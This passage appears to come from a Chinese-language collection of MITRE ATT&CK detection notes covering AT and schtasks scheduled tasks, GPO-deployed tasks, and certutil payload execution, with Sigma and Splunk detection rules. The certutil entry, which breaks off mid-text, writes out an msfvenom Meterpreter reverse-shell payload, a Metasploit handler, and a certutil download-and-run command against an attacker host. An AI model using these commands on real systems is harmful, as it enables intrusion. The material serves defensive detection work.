    "content": "# T1053.002-Win-交互式AT计划任务\n\n## 描述\n\n攻击者可能利用Windows任务调度器，通过`at.exe`或`schtasks.exe`等实用程序在特定时间或系统启动时执行程序或脚本，从而实现持久化、横向移动、权限提升或以指定账户上下文运行进程（T1053.002）。`at`命令允许用户创建计划任务，特别是在Windows 7及更早版本中广泛使用。尽管自Windows 8起，`at`命令已被弃用并推荐使用`schtasks`，但Windows 7在许多环境中仍较常见。交互式AT任务（使用`/interactive`参数）允许用户与任务交互，可能导致提权或恶意行为。\n\n远程调度任务需要通过RPC协议（端口135）进行身份认证，并启用文件和打印机共享（SMB，端口445）。攻击者通常需要目标系统的管理员权限才能执行远程任务。交互式AT任务的典型特征是生成`cmd.exe`或其他可执行文件，允许攻击者执行恶意命令或脚本。\n\n## 测试案例\n\n1. **交互式AT任务提权**  \n   攻击者使用`at`命令创建交互式任务，在特定时间启动`cmd.exe`，以高权限账户上下文执行恶意命令。\n\n2. **远程任务执行**  \n   攻击者通过`at`命令在远程系统上调度任务，运行恶意脚本以实现横向移动。\n\n**at命令虽然自Win8系统起已经弃用，需要使用SCHTASKS命令了，但目前来看win7的使用范围还是很广泛的。**\n\nat time /interactive command -- 给用户一个与程序或命令参与交互的机会\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4688**：记录进程创建，包含`at.exe`的命令行参数和子进程信息。  \n- **事件ID 4624/4625**：记录登录成功或失败，可能涉及远程任务调度的凭据使用。\n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，包含`at.exe`的完整命令行和父进程信息。  \n- **事件ID 3**：记录网络连接，可能涉及远程任务调度的SMB或RPC流量。\n\n**配置日志记录**  \n- 启用命令行参数记录：`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 部署Sysmon以增强进程和网络活动监控。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 7，启用`at`服务（默认启用）。  \n- **日志**：配置Sysmon和Windows安全日志，记录进程创建（事件ID 4688、Sysmon ID 1）。  \n- **权限**：测试账户需具备本地管理员权限。\n\n### 攻击步骤\n1. **创建交互式AT任务**  \n   在靶机上执行以下命令，调度交互式任务：\n   ```cmd\n   at 17:28 /interactive cmd\n   ```\n\n2. **验证任务**  \n   - 检查任务是否创建：\n     ```cmd\n     at\n     ```\n   - 在指定时间（17:28），观察`cmd.exe`是否以交互式方式启动。\n\n## 测试留痕\n\n- **Sysmon日志（事件ID 1）**：\n  ```plaintext\n  EventID: 1\n  Image: C:\\Windows\\System32\\at.exe\n  FileVersion: 6.1.7600.16385\n  Description: Schedule service command line interface\n  Product: Microsoft® Windows® Operating System\n  Company: Microsoft Corporation\n  CommandLine: at 17:28 /interactive cmd\n  User: 12306Br0-PC\\12306Br0\n  IntegrityLevel: High\n  ```\n- **Windows安全日志（事件ID 4688）**：\n  ```plaintext\n  EventID: 4688\n  New Process ID: 0x9e4\n  New Process Name: C:\\Windows\\System32\\at.exe\n  Process Command Line: at 17:28 /interactive cmd\n  Creator Process Name: C:\\Windows\\System32\\cmd.exe\n  ```\n- **任务调度器日志**：记录任务创建和执行，可能位于`Microsoft-Windows-TaskScheduler/Operational`日志中。\n\n## 检测规则/思路\n\n**检测规则**  \n通过分析Sysmon和Windows安全日志，检测`at.exe`创建交互式计划任务的异常行为。以下是具体思路：\n\n1. **日志分析**：\n   - 收集Sysmon事件ID 1或Windows安全事件ID 4688，提取`at.exe`进程的命令行参数。  \n   - 检测包含`/interactive`参数的任务，表明可能的提权或恶意行为。\n\n2. **Sigma规则**：\n   ```yaml\n   title: 交互式AT计划任务\n   id: 8d7c9e0f-5a3b-4c2d-b9f6-2e3f4c5e6f7a\n   status: stable\n   description: 检测交互式AT计划任务，可能表明提权或持久化行为\n   author: 12306Bro\n   date: 2020/06/06\n   references:\n     - https://attack.mitre.org/techniques/T1053/002/\n     - https://github.com/redcanaryco/atomic-red-team/blob/910a2a764a66b0905065d8bdedb04b37049a85db/atomics/T1053.002/T1053.002.md\n     - https://eqllib.readthedocs.io/en/latest/analytics/d8db43cf-ed52-4f5c-9fb3-c9a4b95a0b56.html\n   tags:\n     - attack.persistence\n     - attack.lateral_movement\n     - attack.privilege_escalation\n     - attack.t1053.002\n   logsource:\n     category: process_creation\n     product: windows\n   detection:\n     selection:\n       EventID: 1 # Sysmon进程创建\n       Image|endswith: '\\at.exe'\n       CommandLine|contains: '/interactive'\n     condition: selection\n   falsepositives:\n     - 合法的管理员计划任务\n     - 旧版系统管理脚本\n   level: medium\n   ```\n\n3. **Windows安全日志规则**：\n   - 检测`at.exe`创建交互式任务。\n   - 示例Splunk查询：\n     ```spl\n     source=\"WinEventLog:Security\" EventCode=4688 \"at.exe\" \"*/interactive*\" | stats count by NewProcessName, ProcessCommandLine, ComputerName, AccountName\n     ```\n\n4. **SIEM规则**：\n   - 检测`at.exe`的异常任务创建行为。\n   - 示例Splunk查询（Sysmon）：\n     ```spl\n     source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=1 Image=\"*\\at.exe\" CommandLine=\"*/interactive*\" | stats count by Image, CommandLine, ComputerName, User\n     ```\n\n5. **威胁情报整合**：\n   - 检查任务执行的命令（如`cmd.exe`后的操作）是否涉及已知恶意行为，结合威胁情报平台（如VirusTotal、AlienVault）。\n\n## 建议\n\n### 缓解措施\n\n防御交互式AT计划任务需从权限控制、系统加固和监控入手：\n\n1. **限制AT命令使用**  \n   - 在Windows 7及更早版本中，限制非管理员用户运行`at.exe`（通过AppLocker或组策略）。  \n\n2. **禁用交互式任务**  \n   - 配置组策略，禁用交互式计划任务：  \n     - 路径：`计算机配置 > 管理模板 > Windows组件 > 任务计划程序 > 禁止交互式任务`。\n\n3. **网络访问控制**  \n   - 限制SMB（端口445）和RPC（端口135）的外部访问，仅允许白名单IP。  \n   - 配置防火墙阻止未经授权的远程任务调度。\n\n4. **凭据保护**  \n   - 启用多因素认证（MFA），降低凭据被盗导致的远程任务调度风险。  \n   - 使用强密码策略，避免弱密码或密码重用。\n\n5. **日志和监控**  \n   - 启用命令行参数记录，增强Windows安全日志（事件ID 4688）或Sysmon（事件ID 1）监控。  \n   - 配置SIEM检测`at.exe`的`/interactive`命令。\n\n### 检测\n\n检测工作应集中在`at.exe`的交互式任务行为上，包括但不限于：  \n- **进程行为监控**：分析Sysmon或Windows安全日志，检测`at.exe`使用`/interactive`参数创建任务。  \n- **任务调度器监控**：检查任务调度器日志，识别异常的交互式任务。  \n- **网络流量分析**：监控SMB和RPC端口的异常连接，检测远程任务调度。  \n- **威胁情报整合**：结合威胁情报，检查任务执行的命令是否与已知恶意活动相关。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1053.002  \n  <https://attack.mitre.org/techniques/T1053/002/>  \n- CMD命令行计划任务设置-AT  \n  <https://baijiahao.baidu.com/s?id=1593905611581087845&wfr=spider&for=pc>  \n- Atomic Red Team: T1053.002  \n  <https://github.com/redcanaryco/atomic-red-team/blob/910a2a764a66b0905065d8bdedb04b37049a85db/atomics/T1053.002/T1053.002.md>  \n- Elastic Query: Interactive AT Job  \n  <https://eqllib.readthedocs.io/en/latest/analytics/d8db43cf-ed52-4f5c-9fb3-c9a4b95a0b56.html>"
  },
  {
    "path": "Windows/04执行/T1053.002-Win-通过GPO计划任务进行大规模的持久性和执行.md",
    "content": "# T1053.002-Win-通过GPO计划任务进行大规模的持久性和执行\n\n## 描述\n\n攻击者可能利用Windows任务调度器，通过`at.exe`或`schtasks.exe`等实用程序在特定时间或系统启动时执行程序或脚本，实现持久性、横向移动或大规模恶意活动（T1053.002）。通过组策略对象（GPO），攻击者可以在域环境中批量部署计划任务，特别是在远程系统上执行恶意Payload。这种方法尤其适合大规模部署勒索软件或恶意软件，因为GPO允许管理员（或被攻陷的管理员账户）在多个系统上配置任务。\n\nGPO中的计划任务通常存储在`SYSVOL`共享目录下（如`\\\\<domain>\\SYSVOL\\<domain>\\Policies\\<GUID>\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml`），并通过RPC（端口135）进行远程调度。攻击者可能利用已窃取的域管理员凭据修改GPO，将恶意任务分发到域内所有系统。检测重点在于监控`SYSVOL`共享的修改活动，尤其是计划任务文件的写入操作。\n\n## 测试案例\n\n1. **通过GPO部署勒索软件**  \n   攻击者修改GPO计划任务，调度勒索软件在多个域控制器和客户端上执行，加密文件并索要赎金。\n\n2. **远程持久化**  \n   攻击者利用GPO在域内系统上创建计划任务，定期执行恶意脚本以维持持久性。\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 5145**：记录对`SYSVOL`共享的访问，包含写入计划任务文件的活动。  \n  - 需启用高级审核策略：`对象访问 > 审核详细文件共享`（成功/失败）。  \n- **事件ID 4688**：记录进程创建，包含`schtasks.exe`或相关进程的命令行参数。  \n- **事件ID 4624/4625**：记录登录成功或失败，可能涉及域管理员凭据使用。\n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，包含创建或修改计划任务的命令行信息。  \n- **事件ID 11**：记录文件创建或修改，可能涉及`ScheduledTasks.xml`。\n\n**任务调度器日志**  \n- **Microsoft-Windows-TaskScheduler/Operational**：记录计划任务的创建、更新或删除事件。\n\n## 测试复现\n\n### 环境准备\n- **域环境**：配置Active Directory域控制器和至少一台客户端（Windows 7/10/Server）。  \n- **工具**：Group Policy Management Console (GPMC) 或PowerShell。  \n- **权限**：域管理员权限。  \n- **日志**：启用Windows安全日志（事件ID 5145）和Sysmon。\n\n### 攻击步骤\n1. **访问GPO管理**  \n   打开GPMC，创建一个新的GPO或编辑现有GPO：\n   - 导航到`计算机配置 > 首选项 > 控制面板设置 > 计划任务`。\n\n2. **创建恶意计划任务**  \n   添加计划任务，例如运行恶意脚本：\n   - 任务名称：`MaliciousTask`\n   - 操作：启动程序（例如`cmd.exe /c calc.exe`）。\n   - 触发器：系统启动或特定时间。\n   - 保存GPO，应用到域内所有计算机。\n\n3. **验证结果**  \n   - 检查`SYSVOL`共享中的计划任务文件：\n     ```plaintext\n     \\\\<domain>\\SYSVOL\\<domain>\\Policies\\<GUID>\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml\n     ```\n   - 在客户端上，任务调度器执行任务，启动计算器（`calc.exe`）。\n\n## 测试留痕\n\n![5145](https://s1.ax1x.com/2020/06/07/tRMhZQ.png)\n\n## 检测规则/思路\n\n**检测规则**  \n通过分析Windows安全日志和Sysmon日志，检测通过GPO创建或修改计划任务的异常行为。以下是具体思路：\n\n1. **日志分析**：\n   - 收集Windows安全事件ID 5145，监控`SYSVOL`共享的写入活动，重点关注`ScheduledTasks.xml`。\n   - 收集Sysmon事件ID 1，检测`schtasks.exe`的命令行参数，识别GPO相关任务创建。\n\n2. **Sigma规则**：\n   ```yaml\n   title: 通过GPO计划任务进行大规模的持久性和执行\n   id: 9c7d8e0f-5a3b-4c2d-b9f6-2e3f4c5e6f7a\n   status: stable\n   description: 检测通过GPO计划任务的创建或修改，可能表明大规模持久性或勒索软件部署\n   author: 12306Bro\n   date: 2024/06/06\n   references:\n     - https://attack.mitre.org/techniques/T1053/002/\n     - https://twitter.com/menasec1/status/1106899890377052160\n     - https://www.secureworks.com/blog/ransomware-as-a-distraction\n   tags:\n     - attack.persistence\n     - attack.lateral_movement\n     - attack.t1053.002\n   logsource:\n     product: windows\n     service: security\n     description: '必须为成功/失败配置高级审核策略设置“对象访问>审核详细文件共享”'\n   detection:\n     selection:\n       EventID: 5145\n       ShareName|contains: '\\\\*\\SYSVOL'\n       RelativeTargetName|contains: 'ScheduledTasks.xml'\n       Accesses|contains: 'WriteData'\n     condition: selection\n   falsepositives:\n     - 合法的GPO更新或管理员维护\n     - 域控制器上的正常计划任务配置\n   level: high\n   ```\n\n3. **Sysmon规则**：\n   ```yaml\n   title: GPO计划任务创建\n   id: 3e4f5a6b-7c8d-4e9f-a0b1-2c3d4e5f6a7b\n   status: experimental\n   description: 检测通过schtasks创建GPO计划任务，可能表明恶意持久性\n   date: 2025/06/06\n   logsource:\n     category: process_creation\n     product: windows\n   detection:\n     selection:\n       EventID: 1\n       Image|endswith: '\\schtasks.exe'\n       CommandLine|contains: '/create /tn'\n     condition: selection\n   falsepositives:\n     - 合法的软件安装或更新\n     - 管理员手动创建任务\n   level: medium\n   ```\n\n4. **任务调度器日志规则**：\n   - 监控`Microsoft-Windows-TaskScheduler/Operational`日志，检测计划任务的创建事件。\n   - 示例事件：\n     - Windows 10/Server 2016：事件4698（创建任务）。\n     - Windows 7/Server 2008 R2：事件106（注册任务）。\n   - 示例Splunk查询：\n     ```spl\n     source=\"Microsoft-Windows-TaskScheduler/Operational\" (EventCode=4698 OR EventCode=106) | stats count by TaskName, Action, User\n     ```\n\n5. **威胁情报整合**：\n   - 检查`SYSVOL`修改的源IP或任务执行的命令是否与已知恶意活动相关，结合威胁情报平台（如VirusTotal、AlienVault）。\n\n### 其他检测思路\n\n- **命令行监控**：  \n  监控`schtasks.exe`或相关实用程序的命令行参数，检测通过GPO创建任务的模式。合法任务通常与软件安装或补丁周期相关，异常任务可能涉及未知脚本或可执行文件。\n\n- **进程监控**：  \n  监控`svchost.exe`（Windows 10）或`taskeng.exe`（旧版Windows）执行计划任务的进程。如果任务完成后立即删除，可能是攻击者隐藏痕迹的迹象。\n\n- **文件系统监控**：  \n  监控`%systemroot%\\System32\\Tasks`或`SYSVOL`中的`ScheduledTasks.xml`文件，检测与已知软件或常规维护无关的更改。使用工具如Sysinternals Autoruns对比历史数据，识别异常任务。\n\n- **行为分析**：  \n  将计划任务视为一系列行为的一部分，结合网络连接（命令与控制）、环境发现和横向移动的证据进行综合分析。\n\n- **任务调度器日志**：  \n  启用`Microsoft-Windows-TaskScheduler/Operational`日志，监控以下事件：\n  - Windows 7/Server 2008 R2：事件106（注册任务）、140（更新任务）、141（删除任务）。\n  - Windows 10/Server 2016：事件4698（创建任务）、4699（删除任务）、4700（启用任务）、4701（禁用任务）、4702（更新任务）。\n\n- **工具辅助**：  \n  使用Sysinternals Autoruns等工具，检查计划任务中的异常条目，特别关注与已知软件或常规维护不符的任务。\n\n## 建议\n\n### 缓解措施\n\n防御通过GPO计划任务的恶意活动需从权限控制、配置加固和监控入手：\n\n1. **限制GPO修改权限**  \n   - 仅限域管理员修改GPO，定期审核GPO权限。  \n   - 使用组策略首选项项锁定关键设置。\n\n2. **禁用不必要的计划任务**  \n   - 配置组策略，限制非管理员创建计划任务：  \n     - 路径：`计算机配置 > 管理模板 > Windows组件 > 任务计划程序 > 禁止非管理员创建任务`。\n\n3. **网络访问控制**  \n   - 限制`SYSVOL`共享（端口445）的外部访问，仅允许域控制器之间的通信。  \n   - 配置防火墙阻止未经授权的RPC（端口135）流量。\n\n4. **凭据保护**  \n   - 启用多因素认证（MFA）保护域管理员账户。  \n   - 实施强密码策略，避免凭据泄露。\n\n5. **日志和监控**  \n   - 启用详细文件共享审核（事件ID 5145）和任务调度器日志。  \n   - 配置SIEM检测`SYSVOL`的写入活动和`schtasks.exe`的异常使用。\n\n### 检测\n\n检测工作应集中在GPO计划任务的创建和修改行为上，包括但不限于：  \n- **文件访问监控**：分析Windows安全日志（事件ID 5145），检测`SYSVOL`中`ScheduledTasks.xml`的写入。  \n- **进程行为监控**：分析Sysmon日志（事件ID 1），检测`schtasks.exe`创建任务的命令行。  \n- **任务调度器监控**：检查任务调度器日志，识别异常任务创建或更新。  \n- **威胁情报整合**：结合威胁情报，检查任务执行的命令或源IP是否与已知恶意活动相关。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1053.002  \n  <https://attack.mitre.org/techniques/T1053/002/>  \n- 利用GPO中的计划任务实现远程执行  \n  <http://app.myzaker.com/news/article.php?pk=5c19b0d477ac64586a2bf889>  \n- GPO组策略安全  \n  <https://www.cnblogs.com/zpchcbd/p/12932181.html>  \n- 3gstudent: 利用GPO中的计划任务实现远程执行  \n  <https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8GPO%E4%B8%AD%E7%9A%84%E8%AE%A1%E5%88%92%E4%BB%BB%E5%8A%A1%E5%AE%9E%E7%8E%B0%E8%BF%9C%E7%A8%8B%E6%89%A7%E8%A1%8C/>\n"
  },
  {
    "path": "Windows/04执行/T1053.005-Win-schtasks本地计划任务.md",
    "content": "# T1053.005-Win-schtasks本地计划任务\n\n## 描述\n\n攻击者可能利用Windows任务调度器，通过`schtasks.exe`实用程序在特定时间或系统启动时执行程序或脚本，实现持久性、横向移动、权限提升或以指定账户上下文运行进程（T1053.005）。与`at.exe`不同，`schtasks`是Windows XP及更高版本中用于管理计划任务的主要工具，支持本地和远程任务调度。远程调度任务需要通过RPC（端口135）进行身份认证，并启用文件和打印机共享（SMB，端口445），通常要求目标系统的管理员权限。\n\n攻击者可通过`schtasks`创建本地计划任务，定期运行恶意脚本或可执行文件，以维持系统访问或执行恶意操作。常见场景包括在系统启动时运行恶意Payload、定期下载新Payload或通过高权限账户上下文执行命令。由于`schtasks`是Windows内置工具，属于白名单进程，其行为可能被误认为是合法操作，增加检测难度。\n\n## 测试案例\n\n1. **本地持久化**  \n   攻击者使用`schtasks`创建本地计划任务，在系统启动时运行恶意脚本，实现持久化。\n\n2. **定时恶意执行**  \n   攻击者通过`schtasks`调度任务，在指定时间运行恶意可执行文件（如勒索软件）。\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4688**：记录进程创建，包含`schtasks.exe`的命令行参数和子进程信息。  \n- **事件ID 4624/4625**：记录登录成功或失败，可能涉及计划任务的凭据使用。\n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，包含`schtasks.exe`的完整命令行和父进程信息。  \n- **事件ID 11**：记录文件创建，可能涉及任务配置文件（`%systemroot%\\System32\\Tasks`）的修改。\n\n**任务调度器日志**  \n- **Microsoft-Windows-TaskScheduler/Operational**：记录计划任务的创建、更新或删除事件。  \n  - 事件ID 106（Windows 7/2008 R2）：任务注册。  \n  - 事件ID 4698（Windows 10/2016）：任务创建。  \n  - 事件ID 4699/141：任务删除。  \n  - 事件ID 4700/4701：任务启用/禁用。  \n  - 事件ID 4702/140：任务更新。\n\n**配置日志记录**  \n- 启用命令行参数记录：`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 部署Sysmon以增强进程和文件活动监控。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 7/10/2016，启用任务调度器服务。  \n- **日志**：配置Sysmon和Windows安全日志，记录进程创建（事件ID 4688、Sysmon ID 1）。  \n- **权限**：测试账户需具备本地管理员权限。\n\n### 攻击步骤\n1. **创建本地计划任务**  \n   执行以下命令，创建本地计划任务：\n   ```cmd\n   schtasks /create /tn \"MaliciousTask\" /tr \"cmd.exe /c calc.exe\" /sc onstart\n   ```\n\n2. **验证任务**  \n   - 检查任务是否创建：\n     ```cmd\n     schtasks /query /tn \"MaliciousTask\"\n     ```\n   - 重启系统，观察`calc.exe`是否启动。\n\n## 测试留痕\n\n- **Sysmon日志（事件ID 1）**：\n  ```plaintext\n  EventID: 1\n  Image: C:\\Windows\\System32\\schtasks.exe\n  FileVersion: 10.0.19041.1\n  Description: Task Scheduler Configuration Tool\n  CommandLine: schtasks /create /tn \"MaliciousTask\" /tr \"cmd.exe /c calc.exe\" /sc onstart\n  User: <domain>\\Administrator\n  IntegrityLevel: High\n  ```\n- **Windows安全日志（事件ID 4688）**：\n  ```plaintext\n  EventID: 4688\n  New Process ID: 0x1234\n  New Process Name: C:\\Windows\\System32\\schtasks.exe\n  Process Command Line: schtasks /create /tn \"MaliciousTask\" /tr \"cmd.exe /c calc.exe\" /sc onstart\n  Creator Process Name: C:\\Windows\\System32\\cmd.exe\n  ```\n- **任务调度器日志（事件ID 4698）**：\n  ```plaintext\n  EventID: 4698\n  Task Name: MaliciousTask\n  Task Action: cmd.exe /c calc.exe\n  Trigger: On system start\n  User: <domain>\\Administrator\n  ```\n- **文件系统**：任务配置文件创建于`%systemroot%\\System32\\Tasks\\MaliciousTask`。\n\n## 检测规则/思路\n\n**检测规则**  \n通过分析Sysmon、Windows安全日志和任务调度器日志，检测`schtasks`创建或修改本地计划任务的异常行为。以下是具体思路：\n\n1. **日志分析**：\n   - 收集Sysmon事件ID 1或Windows安全事件ID 4688，提取`schtasks.exe`的命令行参数，重点关注`/create`、`/run`、`/change`等参数。\n   - 监控任务调度器日志（事件ID 4698、4700、4702），检测新任务创建或异常更新。\n   - 检查`%systemroot%\\System32\\Tasks`目录的更改，识别未知任务文件。\n\n2. **Sigma规则**：\n   ```yaml\n   title: schtasks本地计划任务\n   id: 4a7b8c9d-6f2a-4b1c-a9e6-2f3e4c5d6e7b\n   status: stable\n   description: 检测可疑的schtasks本地计划任务，可能表明持久性或恶意执行\n   author: 12306Bro\n   date: 2025/06/06\n   references:\n     - https://attack.mitre.org/techniques/T1053/005/\n     - https://www.elastic.co/guide/en/siem/guide/current/local-scheduled-task-commands.html\n   tags:\n     - attack.persistence\n     - attack.t1053.005\n   logsource:\n     category: process_creation\n     product: windows\n   detection:\n     selection:\n       EventID:\n         - 1 # Sysmon进程创建\n         - 4688 # Windows安全日志进程创建\n       Image|endswith: '\\schtasks.exe'\n       CommandLine|contains:\n         - '/create'\n         - '-create'\n         - '/run'\n         - '-run'\n         - '/change'\n         - '-change'\n     condition: selection\n   falsepositives:\n     - 合法的软件安装或更新\n     - 管理员手动创建的任务\n   level: medium\n   ```\n\n3. **Elastic规则**：\n   ```plaintext\n   event.action:\"Process Create (rule: ProcessCreate)\" and\n   process.name:schtasks.exe and process.args:(-change or -create or -run or /change or /create or /run)\n   ```\n\n4. **任务调度器日志规则**：\n   - 监控任务创建、启用或更新事件。\n   - Splunk查询：\n     ```spl\n     source=\"Microsoft-Windows-TaskScheduler/Operational\" (EventCode=4698 OR EventCode=4700 OR EventCode=4702) | stats count by TaskName, Action, User, ComputerName\n     ```\n\n5. **文件系统监控**：\n   - 监控`%systemroot%\\System32\\Tasks`目录的创建或修改。\n   - Sysmon配置：\n     ```xml\n     <Sysmon schemaversion=\"4.81\">\n       <EventFiltering>\n         <FileCreate onmatch=\"include\">\n           <TargetFilename condition=\"contains\">%SystemRoot%\\System32\\Tasks</TargetFilename>\n         </FileCreate>\n       </EventFiltering>\n     </Sysmon>\n     ```\n\n6. **威胁情报整合**：\n   - 检查任务执行的命令或文件路径是否与已知恶意活动相关，结合威胁情报平台（如VirusTotal、AlienVault）。\n\n## 建议\n\n### 缓解措施\n\n防御`schtasks`本地计划任务的恶意使用需从权限控制、系统加固和监控入手：\n\n1. **限制schtasks使用**  \n   - 配置AppLocker或组策略，限制非管理员用户运行`schtasks.exe`。  \n\n2. **禁用不必要的计划任务**  \n   - 配置组策略，禁止非管理员创建计划任务：  \n     - 路径：`计算机配置 > 管理模板 > Windows组件 > 任务计划程序 > 禁止非管理员创建任务`。\n\n3. **网络访问控制**  \n   - 限制RPC（端口135）和SMB（端口445）的外部访问，仅允许白名单IP。  \n   - 配置防火墙阻止未经授权的远程任务调度。\n\n4. **凭据保护**  \n   - 启用多因素认证（MFA）保护管理员账户。  \n   - 实施强密码策略，避免凭据泄露。\n\n5. **日志和监控**  \n   - 启用命令行参数记录，增强Windows安全日志（事件ID 4688）或Sysmon（事件ID 1）监控。  \n   - 配置SIEM检测`schtasks.exe`的异常命令行模式和任务调度器日志。\n\n6. **定期审计**  \n   - 使用Sysinternals Autoruns检查`%systemroot%\\System32\\Tasks`中的任务，识别与已知软件无关的异常任务。\n\n### 检测\n\n检测工作应集中在`schtasks`创建或修改本地计划任务的行为上，包括但不限于：  \n- **进程行为监控**：分析Sysmon或Windows安全日志，检测`schtasks.exe`使用`/create`、`/run`、`/change`等参数。  \n- **任务调度器监控**：检查任务调度器日志（事件ID 4698、4700、4702），识别异常任务创建或更新。  \n- **文件系统监控**：监控`%systemroot%\\System32\\Tasks`目录的更改，检测未知任务文件。  \n- **威胁情报整合**：结合威胁情报，检查任务执行的命令或文件是否与已知恶意活动相关。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1053.005  \n  <https://attack.mitre.org/techniques/T1053/005/>  \n- Schtasks命令详解  \n  <https://www.cnblogs.com/daimaxuejia/p/12957644.html>  \n- Elastic: Local Scheduled Task Commands  \n  <https://www.elastic.co/guide/en/siem/guide/current/local-scheduled-task-commands.html>"
  },
  {
    "path": "Windows/04执行/T1059-win-使用Certutil.exe执行Payload(白名单).md",
    "content": "# T1059-Win-使用Certutil.exe执行Payload（白名单）\n\n## 描述\n\n攻击者可能利用命令行界面工具（如Windows的`certutil.exe`）与系统交互，执行任务或启动恶意软件，以实现信息收集、恶意代码执行或横向移动（T1059）。`certutil.exe`是Windows操作系统中作为证书服务的一部分安装的命令行工具，官方用途包括管理证书、检查证书吊销列表（CRL）等。然而，攻击者可滥用其功能（如`-urlcache`选项）从远程服务器下载文件并执行，从而绕过传统安全检测。由于`certutil.exe`是白名单进程，其行为可能被误认为是合法操作，增加检测难度。\n\n常见的攻击场景包括使用`certutil.exe`下载恶意Payload（如`shell.exe`）并通过命令链式执行（如`&`）运行，结合Meterpreter反弹Shell。检测重点在于监控`certutil.exe`的异常命令行参数和后续进程行为。\n\n## 测试案例\n\n1. **下载并执行恶意EXE**  \n   攻击者使用`certutil.exe`从远程服务器下载恶意EXE文件并执行，获取Meterpreter会话。\n\n2. **隐藏Payload执行**  \n   攻击者通过`certutil.exe`下载Base64编码的Payload并解码执行，规避检测。\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4688**：记录进程创建，包含`certutil.exe`的命令行参数（需启用命令行记录）。  \n- **事件ID 4689**：记录进程终止，可能用于关联进程生命周期。\n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，包含`certutil.exe`的完整命令行和父进程信息。  \n- **事件ID 3**：记录网络连接，可能涉及`certutil.exe`发起的HTTP请求。  \n- **事件ID 11**：记录文件创建或写入，可能涉及下载的Payload文件。\n\n**配置日志记录**  \n- 启用命令行参数记录：  \n  - 路径：`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`（Windows Server 2008及以上）。  \n- 部署Sysmon以增强进程、文件和网络活动监控。\n\n## 测试复现\n\n### 环境准备\n- **攻击机**：Kali Linux 2019，安装Metasploit Framework和Python 2。  \n- **靶机**：Windows 7，安装Sysmon并启用Windows安全日志。  \n- **网络**：确保攻击机和靶机可通信（HTTP端口8000，Shell端口1234）。  \n\n### 攻击步骤\n1. **生成Payload**  \n   在攻击机上使用`msfvenom`生成恶意可执行文件：\n   ```bash\n   msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.126.146 lport=1234 -f exe > shell.exe\n   ```\n\n2. **设置Metasploit监听**  \n   在攻击机上配置并启动Metasploit handler：\n   ```bash\n   msf5 > use exploit/multi/handler\n   msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp\n   msf5 exploit(multi/handler) > set lhost 192.168.126.146\n   msf5 exploit(multi/handler) > set lport 1234\n   msf5 exploit(multi/handler) > exploit\n   [*] Started reverse TCP handler on 192.168.126.146:1234\n   ```\n\n3. **开启HTTP服务**  \n   在攻击机上启动简单HTTP服务器：\n   ```bash\n   python2 -m SimpleHTTPServer 8000\n   Serving HTTP on 0.0.0.0 port 8000 ...\n   ```\n\n4. **靶机执行Payload**  \n   在靶机上运行以下命令下载并执行Payload：\n   ```dos\n   certutil.exe -urlcache -split -f http://192.168.126.146:8000/shell.exe shell.exe & shell.exe\n   ```\n\n5. **验证反弹Shell**  \n   检查Metasploit终端，确认收到反弹Shell：\n   ```bash\n   [*] Started reverse TCP handler on 192.168.126.146:1234\n   [*] Sending stage (180291 bytes) to 192.168.126.149\n   [*] Meterpreter session 1 opened (192.168.126.146:1234 -> 192.168.126.149:49172) at 2025-06-06 23:01 PDT\n   ```\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 测试留痕\n\n- **Sysmon日志（事件ID 1）**：\n  ```plaintext\n  EventID: 1\n  Image: C:\\Windows\\System32\\certutil.exe\n  FileVersion: 6.1.7600.16385\n  Description: CertUtil.exe\n  CommandLine: certutil.exe -urlcache -split -f http://192.168.126.146:8000/shell.exe shell.exe & shell.exe\n  User: <domain>\\12306Br0\n  IntegrityLevel: Medium\n  ```\n- **Windows安全日志（事件ID 4688，启用命令行记录）**：\n  ```plaintext\n  EventID: 4688\n  New Process ID: 0xbcc\n  New Process Name: C:\\Windows\\System32\\certutil.exe\n  Process Command Line: certutil.exe -urlcache -split -f http://192.168.126.146:8000/shell.exe shell.exe & shell.exe\n  Creator Process Name: C:\\Windows\\System32\\cmd.exe\n  Token Elevation Type: TokenElevationTypeLimited (3)\n  ```\n- **Sysmon日志（事件ID 3）**：\n  ```plaintext\n  EventID: 3\n  Image: C:\\Windows\\System32\\certutil.exe\n  DestinationIp: 192.168.126.146\n  DestinationPort: 8000\n  Protocol: tcp\n  ```\n- **Sysmon日志（事件ID 11）**：\n  ```plaintext\n  EventID: 11\n  Image: C:\\Windows\\System32\\certutil.exe\n  TargetFilename: C:\\Windows\\shell.exe\n  CreationUtcTime: 2025-06-06 23:01:15Z\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过分析Sysmon和Windows安全日志，检测`certutil.exe`执行Payload的异常行为。以下是具体思路：\n\n1. **日志分析**：\n   - 收集Sysmon事件ID 1或Windows安全事件ID 4688，提取`certutil.exe`的命令行参数，重点关注`-urlcache`、`-split`、`-f`及HTTP URL。  \n   - 监控Sysmon事件ID 3，检测`certutil.exe`发起的HTTP请求。  \n   - 监控Sysmon事件ID 